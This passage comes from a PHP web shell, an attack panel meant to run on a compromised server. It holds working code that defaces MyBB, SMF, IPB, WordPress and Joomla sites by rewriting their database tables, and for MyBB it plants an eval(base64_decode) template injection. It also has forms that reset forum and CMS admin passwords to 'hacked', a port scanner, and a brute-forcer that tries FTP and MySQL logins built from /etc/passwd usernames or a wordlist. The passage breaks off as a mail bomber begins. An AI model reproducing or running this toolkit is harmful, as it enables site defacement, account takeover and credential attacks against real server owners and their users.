  3245.                     $password =  $_POST['f4'];
  3246.                     $index    =  $_POST['index'];
  3247.                     $prefix    =  $_POST['prefix'];
  3248.                         $con =@ mysql_connect($localhost,$username,$password);
  3249.                         $db =@ mysql_select_db($database,$con);  
  3250.                         $attack  = "{\${eval(base64_decode(\'";
  3251.                         $attack .= base64_encode("echo \"$index\";");
  3252.                         $attack .= "\'))}}{\${exit()}}</textarea>";
  3253.                         $attack  = str_replace('"',"\\'",$attack);
  3254.                         if($prefix == "" || $prefix == null)
  3255.                             $query = "UPDATE mybb_templates SET template = '$attack'";
  3256.                         else
  3257.                             $query = "UPDATE ".$prefix."templates SET template = '$attack'";
  3258.                         $result =@ mysql_query($query,$con);
  3259.                         if($result)
  3260.                         {
  3261.                             echo "<center><font size=4><blink>Mybb Forum Defaced Successfully</blink></font></center>";
  3262.                         }
  3263.                         else
  3264.                         {
  3265.                             echo "<center><font class=txt size=4><blink>Cannot Deface Mybb Forum</blink></font></center>";
  3266.                         }
  3267.                 }
  3268.                 else if($_POST['forumdeface'] == "Hack SMF")
  3269.                 {
  3270.                     $localhost =  $_POST['f1'];
  3271.                     $database =  $_POST['f2'];
  3272.                     $username =  $_POST['f3'];
  3273.                     $password =  $_POST['f4'];
  3274.                     $index    =  $_POST['index'];
  3275.                     $head    =  $_POST['head'];
  3276.                     $catid    =  $_POST['f5'];
  3277.                     $prefix    =  $_POST['prefix'];
  3278.                         $con =@ mysql_connect($localhost,$username,$password);
  3279.                         $db =@ mysql_select_db($database,$con);  
  3280.                         if($prefix == "" || $prefix == null)
  3281.                             $query = "UPDATE boards SET name='$head', description='$index' WHERE id_cat='$catid'";
  3282.                         else
  3283.                             $query = "UPDATE ".$prefix."boards SET name='$head', description='$index' WHERE id_cat='$catid'";
  3284.                         $result =@ mysql_query($query,$con);
  3285.                         if($result)
  3286.                         {
  3287.                             echo "<center><font size=4><blink>SMF Forum Index Changed Successfully</blink></font></center>";
  3288.                         }
  3289.                         else
  3290.                         {
  3291.                             echo "<center><font class=txt size=4><blink>Cannot Deface SMF Forum</blink></font></center>";
  3292.                         }
  3293.                 }
  3294.                 else if($_POST['forumdeface'] == "Hack IPB")
  3295.                 {
  3296.                     $localhost =  $_POST['f1'];
  3297.                     $database =  $_POST['f2'];
  3298.                     $username =  $_POST['f3'];
  3299.                     $password =  $_POST['f4'];
  3300.                     $index    =  $_POST['index'];
  3301.                     $head    =  $_POST['head'];
  3302.                     $catid    =  $_POST['f5'];
  3303.                         $IPB = "forums";
  3304.                         $con =@ mysql_connect($localhost,$username,$password);
  3305.                         $db =@ mysql_select_db($database,$con);  
  3306.                         $query = "UPDATE $IPB SET name = '$head', description = '$index' where id = '$catid'";
  3307.                         $result =@ mysql_query($query,$con);
  3308.                         if($result)
  3309.                         {
  3310.                             echo "<center><font size=4><blink>Forum Defaced Successfully</blink></font></center>";
  3311.                         }
  3312.                         else
  3313.                         {
  3314.                             echo "<center><font class=txt size=4><blink>Cannot Deface Forum</blink></font></center>";
  3315.                         }
  3316.                 }
  3317.                 else if($_POST['forumdeface'] == "Hack wordpress")
  3318.                 {
  3319.                     $localhost =  $_POST['f1'];
  3320.                     $database =  $_POST['f2'];
  3321.                     $username =  $_POST['f3'];
  3322.                     $password =  $_POST['f4'];
  3323.                     $catid = $_POST['f5'];
  3324.                     $index    =  $_POST['index'];
  3325.                     $head    =  $_POST['head'];
  3326.                     $prefix    =  $_POST['prefix'];
  3327.                         $con =@ mysql_connect($localhost,$username,$password);
  3328.                         $db =@ mysql_select_db($database,$con);  
  3329.                         if($prefix == "" || $prefix == null)
  3330.                         {
  3331.                             if(isset($_POST["all"]) && $_POST["all"] == "All")
  3332.                                 $query = "UPDATE wp_posts SET post_title='$head', post_content='$index'";
  3333.                             else
  3334.                                 $query = "UPDATE wp_posts SET post_title='$head', post_content='$index' WHERE ID='$catid'";
  3335.                         }
  3336.                         else
  3337.                         {
  3338.                             if(isset($_POST["all"]) && $_POST["all"] == "All")
  3339.                                 $query = "UPDATE ".$prefix."posts SET post_title='$head', post_content='$index'";
  3340.                             else
  3341.                                 $query = "UPDATE ".$prefix."posts SET post_title='$head', post_content='$index' WHERE ID='$catid'";
  3342.                         }
  3343.                         $result =@ mysql_query($query,$con);
  3344.                         if($result)
  3345.                         {
  3346.                             echo "<center><font size=4><blink>Wordpress Defaced Successfully</blink></font></center>";
  3347.                         }
  3348.                         else
  3349.                         {
  3350.                             echo "<center><font class=txt size=4><blink>Cannot Deface Wordpress</blink></font></center>";
  3351.                         }
  3352.                 }
  3353.                 else if($_POST['forumdeface'] == "Hack Joomla")
  3354.                 {
  3355.                     $localhost =  $_POST['f1'];
  3356.                     $database =  $_POST['f2'];
  3357.                     $username =  $_POST['f3'];
  3358.                     $password =  $_POST['f4'];
  3359.                     $catid = $_POST['f5'];
  3360.                     $index    =  $_POST['index'];
  3361.                     $head    =  $_POST['head'];
  3362.                     $prefix    =  $_POST['prefix'];
  3363.                         $con =@ mysql_connect($localhost,$username,$password);
  3364.                         $db =@ mysql_select_db($database,$con);  
  3365.                         if($prefix == "" || $prefix == null)
  3366.                         {
  3367.                             if(isset($_POST["all"]) && $_POST["all"] == "All")
  3368.                                 $query = "UPDATE content SET title='$head', introtext='$index'";
  3369.                             else
  3370.                                 $query = "UPDATE content SET title='$head', introtext='$index' WHERE ID='$catid'";
  3371.                         }
  3372.                         else
  3373.                         {
  3374.                             if(isset($_POST["all"]) && $_POST["all"] == "All")
  3375.                                 $query = "UPDATE ".$prefix."content SET title='$head', introtext='$index'";
  3376.                             else
  3377.                                 $query = "UPDATE ".$prefix."content SET title='$head', introtext='$index' WHERE ID='$catid'";
  3378.                         }
  3379.                         $result =@ mysql_query($query,$con);
  3380.                         if($result)
  3381.                         {
  3382.                             echo "<center><font size=4><blink>Joomla Defaced Successfully</blink></font></center>";
  3383.                         }
  3384.                         else
  3385.                         {
  3386.                             echo "<center><font class=txt size=4><blink>Cannot Deface Joomla</blink></font></center>";
  3387.                         }
  3388.                 }
  3389.             }
  3390.         ?>
  3391.         <center>
  3392.             <font class="tblheads" size="4">Vbulletin Forum Index Changer</font>
  3393.             <form action="<?php echo $self; ?>" method = "POST">
  3394.             <table border = "1" width="50%" height="316" style="text-align: center;" class=tbl align="center">
  3395.                 <tr>
  3396.                     <td height="105" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3397.                 <p>
  3398.                     Table Prefix : <input type="text" name="prefix" class="sbox"> (Optional)</td>
  3399.                 </p>
  3400.                 </tr>
  3401.                 <tr>
  3402.                     <td height="167" width="780"><p align="center">&nbsp;<textarea class="box" name="index" cols=53 rows=8>lol ! You Are Hacked !!!!</textarea><p align="center"><input type = "submit" class="but" value = "Hack VB" name="forumdeface"></td>
  3403.                 </tr>
  3404.             </table>
  3405.             </form>
  3406.             <font class="tblheads" size="4">MyBB Forum Index Changer</font>
  3407.             <form action="<?php echo $self; ?>" method = "POST">
  3408.             <table border = "1" width="50%" height="316" style="text-align: center;" class=tbl align="center">
  3409.                 <tr>
  3410.                     <td height="105" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3411.                     <p>
  3412.                         Table Prefix : <input type="text" name="prefix" value="mybb_" class="sbox"> (Optional)</td>
  3413.                     </p>   
  3414.                     </td>
  3415.                 </tr>
  3416.                 <tr>
  3417.                     <td height="167" width="780"><p align="center">&nbsp;<textarea class="box" name="index" cols=53 rows=8>lol ! You Are Hacked !!!!</textarea><p align="center"><input type = "submit" class="but" value = "Hack MyBB" name="forumdeface"></td>
  3418.                 </tr>
  3419.             </table>
  3420.             </form>
  3421.             <font class="tblheads" size="4">SMF Forum Index Changer</font>
  3422.             <form action="<?php echo $self; ?>" method = "POST">
  3423.             <input type="hidden" name="forum">
  3424.             <input type="hidden" name="defaceforum">
  3425.             <table border = "1" width="50%" height="316" style="text-align: center;" class=tbl align="center">
  3426.                 <tr>
  3427.                     <td height="105" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3428.                     <p>
  3429.                         Table Prefix : <input type="text" name="prefix" value="smf_" class="sbox"> (Optional)</td>
  3430.                     </p>
  3431.                     </td>
  3432.                 </tr>
  3433.                 <tr>
  3434.                     <td height="105" width="780"><p align="center"><b>Head : </b><input class="sbox" type="text" name="head" size="20" value="Hacked">&nbsp; <b>Kate ID : </b><input class="sbox" type="text" name="f5" size="20" value="1"></p><p align="center"><textarea name="index" rows="8" cols="53" class="box"><b>lol ! You Are Hacked !!!!</b></textarea></p><input type = "submit" class="but" value = "Hack SMF" name="forumdeface"></p></td>
  3435.                 </tr>
  3436.             </table>
  3437.             </form>
  3438.             <font class="tblheads" size="4">IPB Forum Index Changer</font>
  3439.             <form action="<?php echo $self; ?>" method = "POST">
  3440.             <input type="hidden" name="forum">
  3441.             <input type="hidden" name="defaceforum">
  3442.             <table border = "1" width="50%" height="316" style="text-align: center;" class=tbl align="center">
  3443.                 <tr>
  3444.                     <td height="105" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20"></td>
  3445.                 </tr>
  3446.                 <tr>
  3447.                     <td height="167" width="780"><p align="center"><b>Head : </b><input class="sbox" type="text" name="head" size="20" value="Hacked">&nbsp; <b>Kate ID : </b><input class="sbox" type="text" name="f5" size="20" value="1"></p><p align="center">&nbsp;<textarea class="box" name="index" cols=53 rows=8><b>lol ! You Are Hacked !!!!</b></textarea><p align="center"><input type = "submit" class="but" value = "Hack IPB" name="forumdeface"></td>
  3448.                 </tr>
  3449.             </table>
  3450.             </form>    
  3451.             <font class="tblheads" size="4">Wordpress Index Changer</font>
  3452.             <form action="<?php echo $self; ?>" method = "POST">
  3453.             <input type="hidden" name="forum">
  3454.             <input type="hidden" name="defaceforum">
  3455.             <table border = "1" width="50%" height="316" style="text-align: center;" class=tbl align="center">
  3456.                 <tr>
  3457.                     <td height="105" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3458.                     <p>
  3459.                         Table Prefix : <input type="text" name="prefix" value="wp_" class="sbox"> (Optional)</td>
  3460.                     </p>
  3461.                     </td>
  3462.                 </tr>
  3463.                 <tr>
  3464.                     <td height="105" width="780"><p align="center"><b>Head : </b><input class="sbox" type="text" name="head" size="20" value="Hacked">&nbsp; <b>Kate ID : </b><input class="sbox" type="text" name="f5" size="20" value="1">&nbsp;<label><input type="checkbox" name="all" value="All" checked="checked"> All</label><p align="center"><textarea class="box" name="index" rows="8" cols="53"><b>lol ! You Are Hacked !!!!</b></textarea></p>
  3465.                     <br><input type = "submit" class="but" value = "Hack wordpress" name="forumdeface"></td>
  3466.                 </tr>
  3467.             </table>
  3468.             </form>
  3469.             <font class="tblheads" size="4">Joomla Index Changer</font>
  3470.             <form action="<?php echo $self; ?>" method = "POST">
  3471.             <input type="hidden" name="forum">
  3472.             <input type="hidden" name="defaceforum">
  3473.             <table border = "1" width="50%" height="316" style="text-align: center;" class=tbl align="center">
  3474.                 <tr>
  3475.                     <td height="105" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3476.                     <p>
  3477.                         Table Prefix : <input type="text" name="prefix" value="jos_" class="sbox"> (Optional)</td>
  3478.                     </p>
  3479.                     </td>
  3480.                 </tr>
  3481.                 <tr>
  3482.                     <td height="105" width="780"><p align="center"><b>Head : </b><input class="sbox" type="text" name="head" size="20" value="Hacked">&nbsp; <b>Kate ID : </b><input class="sbox" type="text" name="f5" size="20" value="1">&nbsp;<label><input type="checkbox" name="all" value="All" checked="checked"> All</label><p align="center"><textarea class="box" name="index" rows="8" cols="53"><b>lol ! You Are Hacked !!!!</b></textarea></p>
  3483.                     <br><input type = "submit" class="but" value = "Hack Joomla" name="forumdeface"></td>
  3484.                 </tr>
  3485.             </table>
  3486.             </form>
  3487.         </center>  
  3488.     <?php
  3489.         }
  3490.         else if(isset($_GET["passwordchange"]))
  3491.         {
  3492.             echo "<center>";
  3493.             if(isset($_GET['changed']))
  3494.             {   ?><font class="txt"><blink>Password Changed Successfully</blink></font><br><br><?php }
  3495.             else if(isset($_GET['cannotchange']))
  3496.             {   ?><blink>Cannot Change Password</blink><br><br> <?php } ?>
  3497.             <font class="tblheads" size="4">Vbulletin Forum Password Changer</font>
  3498.             <form action="<?php echo $self; ?>" method = "POST">
  3499.             <input type="hidden"  name="forums" value="vb">
  3500.             <table border = "1" width="50%" height="246" style="text-align: center;" class=tbl align="center">
  3501.                 <tr>
  3502.                     <td height="100" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3503.                 <p>
  3504.                     Table Prefix : <input type="text" name="prefix" class="sbox"> (Optional)</td>
  3505.                 </p>
  3506.                 </tr>
  3507.                 <tr>
  3508.                     <td height="70" width="780"><p align="center"><b>User ID :</b> <input class="sbox" type="text" name="uid" size="20" value="1">&nbsp;<b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><input type = "submit" class="but" value = "Change It" name="forumpass"></td>
  3509.                 </tr>
  3510.             </table>
  3511.             </form>
  3512.             <font class="tblheads" size="4">MyBB Forum Password Changer</font>
  3513.             <form action="<?php echo $self; ?>" method = "POST" name="mybb">
  3514.             <input type="hidden"  name="forums" value="mybb">
  3515.             <table border = "1" width="50%" height="246" style="text-align: center;" class=tbl align="center">
  3516.                 <tr>
  3517.                     <td height="100" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3518.                 <p>
  3519.                     Table Prefix : <input type="text" name="prefix" value="mybb_" class="sbox"> (Optional)</td>
  3520.                 </p>
  3521.                 </tr>
  3522.                 <tr>
  3523.                     <td height="70" width="780"><p align="center"><b>User ID :</b> <input class="sbox" type="text" name="uid" size="20" value="1">&nbsp;<b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><input type = "submit" class="but" value = "Change It" name="forumpass"></td>
  3524.                 </tr>
  3525.             </table>
  3526.             </form>
  3527.             <font class="tblheads" size="4">SMF Forum Password Changer</font>
  3528.             <form action="<?php echo $self; ?>" method = "POST" name="smf">
  3529.             <input type="hidden"  name="forums" value="smf">
  3530.             <table border = "1" width="50%" height="246" style="text-align: center;" class=tbl align="center">
  3531.                 <tr>
  3532.                     <td height="100" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3533.                 <p>
  3534.                     Table Prefix : <input type="text" name="prefix" value="smf_" class="sbox"> (Optional)</td>
  3535.                 </p>
  3536.                 </tr>
  3537.                 <tr>
  3538.                     <td height="70" width="780"><p align="center"><b>User ID :</b> <input class="sbox" type="text" name="uid" size="20" value="1">&nbsp;<b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><input type = "submit" class="but" value = "Change It" name="forumpass"></td>
  3539.                 </tr>
  3540.             </table>
  3541.             </form>
  3542.             <font class="tblheads" size="4">Phpbb Forum Password Changer</font>
  3543.             <form action="<?php echo $self; ?>" method = "POST">
  3544.             <input type="hidden"  name="forums" value="phpbb">
  3545.             <table border = "1" width="50%" height="246" style="text-align: center;" class=tbl align="center">
  3546.                 <tr>
  3547.                     <td height="100" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3548.                 <p>
  3549.                     Table Prefix : <input type="text" name="prefix" value="phpbb_" class="sbox"> (Optional)</td>
  3550.                 </p>
  3551.                 </tr>
  3552.                 <tr>
  3553.                     <td height="70" width="780"><p align="center"><b>User ID :</b> <input class="sbox" type="text" name="uid" size="20" value="1">&nbsp;<b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><input type = "submit" class="but" value = "Change It" name="forumpass"></td>
  3554.                 </tr>
  3555.             </table>
  3556.             </form>
  3557.             <font class="tblheads" size="4">IPB Forum Password Changer</font>
  3558.             <form action="<?php echo $self; ?>" method = "POST" name="ipb">
  3559.             <input type="hidden"  name="forums" value="ipb">
  3560.             <table border = "1" width="50%" height="246" style="text-align: center;" class=tbl align="center">
  3561.                 <tr>
  3562.                     <td height="100" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3563.                 <p>
  3564.                     Table Prefix : <input type="text" name="prefix" class="sbox"> (Optional)</td>
  3565.                 </p>
  3566.                 </tr>
  3567.                 <tr>
  3568.                     <td height="70" width="780"><p align="center"><b>User ID :</b> <input class="sbox" type="text" name="uid" size="20" value="1">&nbsp;<b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><input type = "submit" class="but" value = "Change It" name="forumpass"></td>
  3569.                 </tr>
  3570.             </table>
  3571.             </form>    
  3572.             <a name="wordp" id="wordp">
  3573.             <font class="tblheads" size="4">Wordpress Password Changer</font>
  3574.             <form action="<?php echo $self; ?>" method = "POST" name="wp">
  3575.             <input type="hidden"  name="forums" value="wp">
  3576.             <a name="wordp" id="wordp">
  3577.             <table border = "1" width="50%" height="246" style="text-align: center;" class=tbl align="center">
  3578.                 <tr>
  3579.                     <td height="100" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3580.                 <p>
  3581.                     Table Prefix : <input type="text" name="prefix" value="wp_" class="sbox"> (Optional)</td>
  3582.                 </p>
  3583.                 </tr>
  3584.                 <tr>
  3585.                     <td height="70" width="780"><p align="center"><b>User ID :</b> <input class="sbox" type="text" name="uid" size="20" value="1"></p><p><b>New Username :</b> <input class="sbox" type="text" name="uname" size="20" value="admin">&nbsp;<b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><input type = "submit" class="but" value = "Change It" name="forumpass"></td>
  3586.                 </tr>
  3587.             </table>
  3588.             </form>
  3589.             <div name="jooml" id="jooml">
  3590.             <font class="tblheads" size="4">Joomla Password Changer</font>
  3591.             <form action="<?php echo $self; ?>" method = "POST">
  3592.             <input type="hidden"  name="forums" value="joomla">
  3593.             <table border = "1" width="50%" height="246" style="text-align: center;" class=tbl align="center">
  3594.                 <tr>
  3595.                     <td height="100" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3596.                 <p>
  3597.                     Table Prefix : <input type="text" name="prefix" value="jos_" class="sbox"> (Optional)</td>
  3598.                 </p>
  3599.                 </tr>
  3600.                 <tr>
  3601.                     <td height="70" width="780"><p align="center"><b>New Username :</b> <input class="sbox" type="text" name="uname" size="20" value="admin">&nbsp;<b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><input type = "submit" class="but" value = "Change It" name="forumpass"></td>
  3602.                 </tr>
  3603.             </table>
  3604.             </form>
  3605.             <?php
  3606.             if(isset($_GET['changed']))
  3607.             {   ?><font size="3"><blink>Password Changed Successfully</blink></font><br><br><?php }
  3608.             else if(isset($_GET['cannotchange']))
  3609.             {   ?><font class=txt size="3"><blink>Cannot Change Password</blink></font><br><br> <?php } ?>
  3610.         </center>  
  3611.             <?php
  3612.         }
  3613.     }
  3614.     // Mail
  3615.     else if(isset($_GET['tools']))
  3616.     {
  3617.         ?>
  3618.         <center>
  3619.         <table class=tbl cellpadding="5" border="1" style="width:50%;">
  3620.             <tr>
  3621.                 <td colspan="2" align="center"><b><font size='4'>Port Scanner<br></font></b></td>
  3622.             </tr>
  3623.             <tr>
  3624.                 <td align="center">
  3625.                 <form name='scanner' method='post'>
  3626.                 <input class="sbox" type='text' name='host' value='<?php echo $_SERVER["SERVER_ADDR"]; ?>' >
  3627.                 </td>
  3628.                 <td align="center">
  3629.                 <select class="sbox" name='protocol'>
  3630.                     <option value='tcp'>tcp</option>
  3631.                     <option value='udp'>udp</option>
  3632.                 </select>
  3633.                 </td>
  3634.             <tr>
  3635.                 <td colspan="2" align="center"><input class="but" type='submit' value='Scan Ports'></td>
  3636.             </tr>
  3637.             </form>
  3638.         <?php
  3639.         if(isset($_POST['host']) && isset($_POST['protocol']))
  3640.         {
  3641.             echo "<tr><td colspan=2><font size='3' face='Verdana'>Open Ports: ";
  3642.             $host = $_POST['host'];
  3643.             $proto = $_POST['protocol'];
  3644.             $myports = array("21","22","23","25","59","80","113","135","445","1025","5000","5900","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
  3645.             for($current = 0; $current <= 23; $current++)
  3646.             {
  3647.                 $currents = $myports[$current];
  3648.                 $service = getservbyport($currents, $proto);
  3649.                 // Try to connect to port
  3650.                 $result = fsockopen($host, $currents, $errno, $errstr, 1);
  3651.                 // Show results
  3652.                 if($result)
  3653.                 {
  3654.                     echo "<font class=txt size=3>$currents, </font>";
  3655.                 }
  3656.             }
  3657.         }
  3658.         echo "</td></tr></table>";
  3659.         ?>
  3660.         <br>
  3661.         <form action="<?php echo $self; ?>" method="get">
  3662.         <input type="hidden" name="tools">
  3663.         <table class=tbl cellpadding="5" border="1" style="width:50%;">
  3664.             <tr>
  3665.                 <td colspan="2" align="center"><font size="4">BruteForce</font></td>
  3666.             </tr>
  3667.             <tr>
  3668.                 <td>Type : </td>
  3669.                 <td>
  3670.                     <select name="prototype" class="sbox">
  3671.                         <option value="ftp">FTP</option>
  3672.                         <option value="mysql">MYSQL</option>
  3673.                         <option value="postgresql">PostgreSql</option>
  3674.                     </select>
  3675.                 </td>
  3676.             </tr>
  3677.             <tr>
  3678.                 <td>Server <b>:</b> Port : </td>
  3679.                 <td><input type="text" name="serverport" value="<?php echo $_SERVER["SERVER_ADDR"]; ?>" class="sbox"></td>
  3680.             </tr>
  3681.             <tr>
  3682.                 <td valign="middle">Brute type : </td>
  3683.                 <td><label><input type=radio name=type value="1" checked> /etc/passwd</label><label><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label><hr color="#1B1B1B">
  3684.                 <input type=radio name=type value="2"> Dictionary</label><br>
  3685.                 Login : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="text" name="login" value="root" class="sbox"><br>
  3686.                 Dictionary : <input type="text" name="dict" value="<?php echo getcwd() . $directorysperator; ?>passwd.txt" class="sbox">
  3687.                 </td>
  3688.             </tr>
  3689.             <tr>
  3690.                 <td colspan="2" align="center"><input type="submit" value="Attack >>" class="but"></td>
  3691.             </tr>
  3692.             </form>
  3693.         <?php
  3694.         if(isset($_GET['prototype']))
  3695.         {
  3696.             echo '<tr><td colspan=2><h1>Results</h1><div><span>Type:</span> '.htmlspecialchars($_GET['prototype']).' <span><br>Server:</span> '.htmlspecialchars($_GET['serverport']).'<br>';
  3697.             if( $_GET['prototype'] == 'ftp' )
  3698.             {
  3699.                 function BruteFun($ip,$port,$login,$pass)
  3700.                 {
  3701.                     $fp = @ftp_connect($ip, $port?$port:21);
  3702.                     if(!$fp) return false;
  3703.                     $res = @ftp_login($fp, $login, $pass);
  3704.                     @ftp_close($fp);
  3705.                     return $res;
  3706.                 }
  3707.             }
  3708.             elseif( $_GET['prototype'] == 'mysql' )
  3709.             {
  3710.                 function BruteFun($ip,$port,$login,$pass)
  3711.                 {
  3712.                     $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
  3713.                     @mysql_close($res);
  3714.                     return $res;
  3715.                 }
  3716.             }
  3717.             elseif( $_GET['prototype'] == 'pgsql' )
  3718.             {
  3719.                 function BruteFun($ip,$port,$login,$pass)
  3720.                 {
  3721.                     $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  3722.                     $res = @pg_connect($str);
  3723.                     @pg_close($res);
  3724.                     return $res;
  3725.                 }
  3726.             }
  3727.             $success = 0;
  3728.             $attempts = 0;
  3729.             $server = explode(":", $_GET['server']);
  3730.             if($_GET['type'] == 1)
  3731.             {
  3732.                 $temp = @file('/etc/passwd');
  3733.                 if( is_array($temp))
  3734.                     foreach($temp as $line)
  3735.                     {
  3736.                         $line = explode(":", $line);
  3737.                         ++$attempts;
  3738.                         if(BruteFun(@$server[0],@$server[1], $line[0], $line[0]) )
  3739.                         {
  3740.                             $success++;
  3741.                             echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  3742.                         }
  3743.                         if(@$_GET['reverse'])
  3744.                         {
  3745.                             $tmp = "";
  3746.                             for($i=strlen($line[0])-1; $i>=0; --$i)
  3747.                                 $tmp .= $line[0][$i];
  3748.                             ++$attempts;
  3749.                             if(BruteFun(@$server[0],@$server[1], $line[0], $tmp) )
  3750.                             {
  3751.                                 $success++;
  3752.                                 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  3753.                             }
  3754.                         }
  3755.                     }
  3756.             }
  3757.             elseif($_GET['type'] == 2)
  3758.             {
  3759.                 $temp = @file($_GET['dict']);
  3760.                 if( is_array($temp) )
  3761.                     foreach($temp as $line)
  3762.                     {
  3763.                         $line = trim($line);
  3764.                         ++$attempts;
  3765.                         if(BruteFun($server[0],@$server[1], $_GET['login'], $line) )
  3766.                         {
  3767.                             $success++;
  3768.                             echo '<b>'.htmlspecialchars($_GET['login']).'</b>:'.htmlspecialchars($line).'<br>';
  3769.                         }
  3770.                     }
  3771.             }
  3772.             echo "<span>Attempts:</span> <font class=txt>$attempts</font> <span>Success:</span> <font class=txt>$success</font></div></td></tr>";
  3773.         }
  3774.         ?>
  3775.         </table>
  3776.         </center><br>
  3777.         <?php
  3778.     }
  3779. // Mail
  3780. else if(isset($_GET['mailbomb']))
  3781. { ?>
  3782.     <center><table><tr><td><a href="<?php echo $self; ?>?bomb&mailbomb"><font size="4">| Mail Bomber |</font></a></td><td><a href="<?php echo $self; ?>?mail&mailbomb"><font size="4">| Mass Mailer |</font></a></td></tr></table></center><br>
  3783. <?php
  3784.     if(isset($_GET['bomb']))
  3785.     {
  3786.         if(
  3787.             isset($_GET['to']) &&
  3788.             isset($_GET['subject']) &&
  3789.             isset($_GET['message']) &&
  3790.             isset($_GET['times']) &&
  3791.             $_GET['to'] != '' &&
  3792.             $_GET['subject'] != '' &&
  3793.             $_GET['message'] != '' &&
  3794.             $_GET['times'] != ''
  3795.         )
  3796.         {
